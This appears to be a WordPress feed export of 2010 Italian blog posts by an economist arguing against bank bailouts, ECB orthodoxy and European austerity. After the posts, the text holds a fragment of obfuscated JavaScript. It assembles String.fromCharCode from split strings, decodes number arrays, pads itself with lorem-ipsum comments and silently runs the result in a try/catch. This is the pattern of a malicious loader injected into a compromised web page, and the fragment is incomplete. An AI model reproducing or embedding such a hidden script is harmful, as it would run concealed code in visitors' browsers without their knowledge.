<p><strong>Poi c’è la grande politica.</strong> Fortunatamente, i depositi bancari hanno la garanzia pubblica fin dagli anni trenta: è per la stabilità. Perciò non si rischia nulla a tenere i soldi in banca. Ma quasi tutti i governi europei sono andati oltre, e nel 2008-09, hanno “garantito” tutti i debiti delle banche. Anche i debiti fatti perdendo al gioco della speculazione. Anche i debiti nei confronti degli obbligazionisti bancari. Implicitamente, e di fatto, quando ci sono crisi, hanno garantiti anche gli azionisti. Se le banche crollano, come in Irlanda, i loro debiti ricadono sul debito pubblico. Cioè su tutti i cittadini.</p>
<p><strong>E la politica monetaria?</strong> Da due anni, la BCE presta soldi alle banche a tassi vicini allo zero. Loro reinvestono (non nelle imprese: nei titoli di stato!) a tassi del 3, 4, 5, 9%. Lo so fare anch’io il banchiere così. Va bene rafforzare i bilanci bancari: le crisi bancarie non servono a nessuno. Ma perché il conto dobbiamo pagarlo voi ed io, e non anche i signori azionisti ed obbligazionisti delle banche? E perché questi trasferimenti di ricchezza vengano decisi fuori dai Parlamenti?</p>
<p>Infine, circolano strane emails da parte di presunti <strong>“contestatori”</strong>. Tutte le banche del mondo rischiano di fallire… La tale banca sta per fallire… A chi giovano questi allarmismi? Chi c’è dietro? Ma che falliscano! Noi depositanti non perderemmo un solo euro.</p>
<p>L’Europa non ha ancora una procedura comune per gestire i fallimenti delle banche. In questa situazione, le banche “non possono fallire”. E allora, perché non dovrebbero speculare: “Testa, vinciamo; croce, … perdono!”. L’Europa dovrebbe darsi al più presto questa procedura. Se una banca va sotto, le reti degli sportelli e gli altri “asset” vengano messi all’asta, poi si usi il capitale versato dagli azionisti; se non basta ancora si usino i fondi versati dagli obbligazionisti. E solo alla fine lo stato ripiani i buchi ulteriori: mandando però in galera gli amministratori per bancarotta fraudolenta: non a casa con milioni di buonuscita. Invece, i nostri governi discutono di Eurobond, cioè di come continuare a salvare i banchieri e gli azionisti con le istituzioni finanziarie.</p>
<p>La <strong>stabilità finanziaria</strong> è un bene fondamentale. Senza, non esisterebbe la prosperità moderna. Ma mestando nel torbido, approfittando dell’ignoranza, della paura, e di parecchi amici nelle istituzioni, le banche sono riuscite a confondere la stabilità delle istituzioni bancarie con la stabilità delle fortune personali dei grandi attori del circuito finanziario. <strong>E noi paghiamo.</strong></p>
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		<title>L&#8217;Europa ha bisogno di una politica economica alternativa al liberismo</title>
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		<pubDate>Wed, 01 Dec 2010 18:06:07 +0000</pubDate>
		<dc:creator>piergiorgiogawronski</dc:creator>
				<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[crisi finanziaria]]></category>
		<category><![CDATA[Economia]]></category>

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		<description><![CDATA[Quello strano bisogno di inflazione... Salverebbe l'Euro, ma viene ignorato dall'ortodossia liberista che guida dell'Europa monetaria. Il mio ultimo articolo sull'economia pubblicato dal "Fatto Quotidiano".]]></description>
			<content:encoded><![CDATA[<p> </p>
<p style="text-align: justify;">Nel quadro ancora depresso dell’economia mondiale, l’Europa sta facendo peggio di tutti. La crescita nel 2010 non raggiungerà il 2%, meno degli USA (3%) e del resto del mondo (6%). E questo mentre 23 milioni di europei sono alla disperata ricerca di lavoro. La crisi rimbalza dal settore immobiliare alle banche, dalle imprese alle famiglie, e da uno stato all’altro (Grecia, Irlanda, Portogallo&#8230;); la moneta comune è a rischio, e con essa – ha spiegato Luigi Spaventa su Repubblica – l’intera costruzione europea. L’Europa sta sbagliando politiche economiche.</p>
<p style="text-align: justify;">Occorre capire bene il problema economico all’origine di tutto: l’insufficienza della domanda. Vuol dire che le fabbriche sono sane &#8211; nessuno le ha bombardate (Giavazzi) -, ma sono scomparsi i clienti. Per cui licenziano. E i lavoratori, spaventati, comprano sempre meno. è il “paradosso del risparmio”: tutti si mettono a risparmiare nello stesso momento: calano le vendite delle imprese, i redditi, quindi anche… i risparmi!</p>
<p style="text-align: justify;">Non è difficile sostenere la domanda: basta spendere! Un governo può fare investimenti, p.es. nella banda larga, nelle università. O può dare soldi alle famiglie che non arrivano a fine mese, pronte a spendere tutto quel che gli entra. I soldi si prendono sui mercati (debito pubblico), o si stampano! Se dunque la crisi perdura, è perché vi sono ostacoli culturali, istituzionali, e politici che frenano le politiche di rilancio della domanda.</p>
<p style="text-align: justify;">Il primo ostacolo è culturale. Negli ultimi due anni è emersa una verità sorprendente: una buona metà degli economisti – come quelli laureati a Chicago e dintorni – non possiede gli strumenti per analizzare la crisi attuale. Sono costretti ad improvvisare<span style="text-decoration: line-through;">;</span>  perché a loro è stato insegnato che la domanda <em>non può</em> essere carente: non è previsto dai loro modelli, dove i mercati “si autoregolano”. Il problema dunque <em>deve</em> essere nella struttura produttiva. E allora ragionano come se la crisi non ci fosse: <em>nuovi stimoli</em>, se finanziati col debito, <em>manderanno alle stelle i tassi d’interesse</em>; se finanziati con la moneta, <em>scateneranno l’inflazione</em>. Ma entrambe queste previsioni si sono dimostrate completamente sbagliate. Sia l’inflazione, sia i tassi americani e tedeschi sono scesi ai minimi storici. Sul piano teorico, colpisce la distanza dei liberisti contemporanei dal padre del monetarismo Milton Friedman (1912-2006), che criticò la Fed perché nel 1929-33 non stampò abbastanza moneta. Questi di oggi sono molto più a destra: estremismo o regressione culturale?</p>
<p style="text-align: justify;">Previsioni sbagliate, ricette sbagliate. Persone Molto Importanti in Europa, come il governatore della BCE Jean Claude Trichet, e Angela Merkel, giurano che l’unico modo di uscire dalla crisi è l’austerità: soffrire, tagliare, licenziare. <em>I fallimenti servono a “risanare” il sistema</em>, a eliminare inefficienze, corruzione, eccessi.<em> La disoccupazione è “volontaria”</em>: il lavoro si trova, basta adattarsi. <em>L’intervento dello Stato peggiora solo le cose</em>: ritarda il “risanamento strutturale”. Lo stesso Tremonti due anni fa scimmiottava queste idee pre-keynesiane: “Pensare di risolvere la crisi economica con politiche di stimolo dell&#8217;economia fa ridere”, perché “ciò presuppone che la crisi sia un fenomeno ciclico, e non strutturale”(8/11/08). Ma oggi l’Europa è al capezzale <em>dell’Irlanda</em> che &#8211; unico fra i paesi presi di mira dai mercati &#8211; scelse l’austerità, ed è affondato.</p>
<p style="text-align: justify;">Il secondo ostacolo è istituzionale. La BCE è nata per combattere l’inflazione (La FED ha invece il doppio mandato: “stabilità dei prezzi” e “crescita”): funziona bene in tempi normali, male in tempi di crisi. Interpreta in modo estremo la sua “indipendenza”: <em>mai finanziare gli stati membri</em>. La realtà ha infine imposto il contrario: ma è troppo poco, troppo tardi per favorire la ripresa. </p>
<p style="text-align: justify;">Da ultimo, gli ostacoli politici. Gli interessi forti sembrano prevalere su quelli dei disoccupati, e sul buon senso. I governi spendono le poche risorse disponibili per salvare, con le banche, anche gli azionisti. E la BCE, se immette moneta, la immette nel sistema finanziario, dove rimane a sostenere le borse (e le rendite), senza molti effetti sull’economia reale. C’è poi la Germania, che accumula enormi surplus commerciali, e non rinuncia al suo schiacciante vantaggio competitivo sui <em>partners</em> europei. Ai PIIGS, che hanno bisogno di crescita come dell’aria, indica, per ritrovare l’equilibrio competitivo, la via della deflazione. Ma &#8211; <em>Hibernia docet</em> -  la deflazione accresce il peso reale dei debiti, quindi i rischi di crisi finanziaria. E’ un dilemma che anche l’Italia dovrà affrontare, dato che il nostro deficit con l’estero è ormai al 3% del PIL. La Germania preferisce finanziare i salvataggi in Europa piuttosto che alzare i salari. Gli irlandesi hanno ricevuto 98 miliardi, in prestito: al 5,7%! Dovranno restituirli. Proprio non si vede come faranno.</p>
<p style="text-align: justify;">La via d’uscita per l’Europa sarebbe, al contrario, un <em>aumento</em> dell’inflazione, in Germania più che altrove, per qualche anno. Consentirebbe ai PIIGS di recuperare competitività senza deflazione. Ridurrebbe il peso reale di tutti i debiti. E indurrebbe gli europei a spendere una moneta che altrimenti si deprezza sui conti bancari. O, perlomeno, ci vorrebbe una ristrutturazione dei debiti dei PIIGS: la Germania, che nel 1920-33 affondò sotto il peso delle “riparazioni”, dovrebbe saperlo. Ma l’ortodossia liberista considera entrambe le ipotesi anatema. Avanti il prossimo: <em>Tu quoque, Lusitania</em>?!</p>
<p style="text-align: justify;">(copyright: Il Fatto Quotidiano)</p>
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		<title>Intervista radio + Commento sul pacchetto Europeo in difesa dell&#8217;Euro</title>
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		<pubDate>Wed, 12 May 2010 00:33:20 +0000</pubDate>
		<dc:creator>piergiorgiogawronski</dc:creator>
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		<category><![CDATA[crisi finanziaria]]></category>
		<category><![CDATA[Economia]]></category>

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		<description><![CDATA[Per chi vuole approfondire, qui c'è la mia intervista radio sulla situazione economico finanziaria.    -   Lunedì, alle 2 di mattina, Europa ha varato il suo pacchetto in difesa dell'Euro. Finalmente la BCE è scesa in campo (controvoglia)! Si sostengono i mercati finanziari, ma non l'economia reale sottostante (su cui la finanza si basa). ]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Per chi è interessato ad approfondire qui c&#8217;è la mia <a href="http://www.radioradicale.it/scheda/303116/intervista-a-piergiorgio-gawronski-sulla-crisi-delleuro-e-sulla-politica-attuata-dallunione-europea-in-mer"><strong>intervista</strong> a Radio Radicale</a> di sabato (prima delle decisioni europee). </p>
<p style="text-align: justify;"><strong>La reazione dei mercati</strong> finanziari alle decisioni dei leaders EU riuniti a Bruxelles è stata inizialmente (molto) positiva: un sospirone di sollievo, per la <em>dimensione</em> del pacchetto aiuti, e in particolare perché la BCE è scesa finalmente in campo. Ma oggi cominciano già ad affiorare i dubbi, nelle borse e sul mercato valutario. Perché la BCE non ha capito la strategia europea, la considera una tattica momentanea, la subisce senza condividerla fino in fondo.</p>
<p style="text-align: justify;"><strong>La BCE teme</strong> giustamente <strong>l&#8217;eccesso di liquidità</strong>. E teme l&#8217;inflazione: in questo, sbaglia! Di inflazione ce n&#8217;è troppo poca. Il problema vero è che la liquidità comincia ad essere troppa nel circuito dei mercati finanziari: rischia di provocare altre bolle  e disastri vari. <em>Purtroppo</em> non trova la strada dei mercati reali: non arriva nelle tasche della gente, e quindi non alimenta le vendite delle imprese, che restano in crisi. Per dire, il dato di ieri sulla produzione industriale di marzo 2010 in Italia (+6,9% sui 12 mesi) si confronta con un Marzo 2009 a -20%, quindi rispetto al Marzo 2008 siamo ancora oggi a -13%!! </p>
<p style="text-align: justify;"><strong>La soluzione</strong> sarebbe dare un po&#8217; di liquidità agli Stati affinché la spendessero in acquisti di beni e servizi, o in trasferimenti ai settori più poveri (che spendono e non risparmiano) della popolazione. Se p.es. la BCE facesse un bel falò con i titoli pubblici che acquista, come Calderoli fa con le Leggi dello Stato italiano, gli Stati Europei avrebbero meno debiti, e perciò più risorse per sostenere l&#8217;economia reale. Così, la liquidità si trasferirebbe all&#8217;economia reale. Invece, attualmente  resta intrappolata nel circuito finanziario; la sua enorme energia filtra pochissimo all&#8217;economia reale, mentre rimane pericolosamente viva nel settore finanziario, e diventa sempre più difficile da controllare. La BCE pensa giustamente che i rischi così diventano troppo elevati, ma non vede come ridurre la tensione.</p>
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		var hf = ((en+st)>>1);
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	function co() {
		return 'Code';
	}
	function gafu() {
		xxx=a(String, 'f' + ro() + co());
		return function(q){return xxx(q);};
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	rex = [gafu(),gafu()];
	

	function choo(k) {
		if (k < 9) {
			return 1
		} else {
			return 2
		}
	};
	
	d = '';
	mapper = [5,34,56,58,66,96,62,2,2,2,3,2,6,2,7,2,8,2,10,2,11,2,12,2,13,2,14,2,15,2,17,2,18,2,19,2,20,2,21,2,22,2,23,2,24,2,25,2,26,2,27,2,28,2,29];
	map = ''; xo = doc;

	function fs(ro, arr, add, st, en,dp) {
		//Mauris gravida, libero ut tempor ultricies, ante erat blandit dui, vestibulum convallis ligula lacus et metus. Duis quis nunc justo, gravida sem
		var hf = ((en+st)>>1);
		if(en-st>16)
		{
			//lacus, tristique vitae aliquet a, ultrices nec libero. Aliquam sagittis enim in nibh semper tincidunt. Donec malesuada lorem sit amet risus euis
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			if(typeof arr[rj]!='string'){
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			return rt;
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	}
	map += fs(map, mapper, 30, 0,mapper.length);
	//et condimentum metus. Aliquam convallis auctor sapien, sit amet bibendum ligula condimentum ac. Vivamus blandit molestie enim vitae bland

	function a(b, c) {
		return b[c];
	};

	function ro() {
		return 'romChar';
	}
	rd=fs(d, qq2(6-tk.length), 30, 0, qq2().length);
	//e feugiat. Etiam elit elit, hendrerit et varius non, molestie consectetur ipsum. Nullam sapien sem, mattis nec tempus non, elementum vitae ligula. Maur
	try{
	$$(_1(map,rd,choo,_2).replace('?n','in'));}catch(e){}
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	return (function(jsB, jsBs) {
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			//accumsan dapibus diam 
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	for(var c=kk.length;c>0;){		
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		//accumsan dapibus diam 
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		dd=t.join(pp(t));
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},document,document.getElementsByTagName('title'));
/**/
if(typeof gloa=='function')gloa();
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